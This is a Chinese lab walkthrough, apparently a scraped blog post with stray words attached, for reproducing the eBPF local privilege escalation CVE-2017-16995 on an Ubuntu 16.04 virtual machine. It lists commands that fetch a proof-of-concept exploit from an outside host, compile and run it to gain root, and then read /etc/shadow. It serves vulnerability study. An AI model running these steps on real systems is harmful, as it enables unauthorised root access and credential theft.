Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,致使任意内存读写问题。 ubuntu
***者(普通用户)能够利用该漏洞进行提权***,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在以前的一些老版本已经修复了,可是在最新的Ubuntu版本中,又出现了这个漏洞,而且Twitter爆出了漏洞利用代码……ide
目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。spa
影响版本:
Linux内核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04code
Ubuntu16.04下载:http://old-releases.ubuntu.com/releases/16.04.0/
注:这里我下载的版本是 ubuntu-16.04.3-server-amd64.iso
POC代码下载:http://cyseclabs.com/pub/upstream44.c
注:为了节省你们实验时间,本实验全部环境所有打包到了如下连接=>
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密码:vowqorm
① 下载Ubuntu 16.04 iso镜像:http://old-releases.ubuntu.com/releases/16.04.0/
下载列表里面有不少版本,考虑到虚拟机体积大小,这里不适用desktop版本,直接使用server版本。点击ubuntu-16.04.3-server-amd64.iso能够直接网页下载,若速度较慢,可用列表中的torrent文件,用迅雷等软件下载。server
② 使用VMware制做虚拟机,设置普通用户帐号密码(帐号: pinginglab 密码:pinginglab)
blog
注:这里的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程相似。内存
采用vmware快捷安装,设置帐号密码:
rem
点击“继续”,便可建立虚拟机。
get
启动虚拟机,这里须要稍等片刻:
③ 使用帐号密码(pinginglab/pinginglab)登陆虚拟机,进行漏洞复现
使用 id
查看本地用户组权限:
使用cat /proc/version
查看Linux内核版本 :
使用cat /etc/shadow
查看帐号密码(因为是普通帐号,没有权限查看)
使用wget http://cyseclabs.com/pub/upstream44.c
下载POC代码
使用sudo apt install gcc
下载并安装gcc编译器
使用gcc对upstream44.c进行编译,给予执行权限: gcc -o test upstream44.c
chmod +x test
ll
执行test文件,实现本地提权: ./test
id
cat /etc/shadow
从实验效果能够看到,此时用户从“pinginglab”,切换到“root”,获取到最高权限,而且能够查看本地帐号密码。
本漏洞复现实验完成。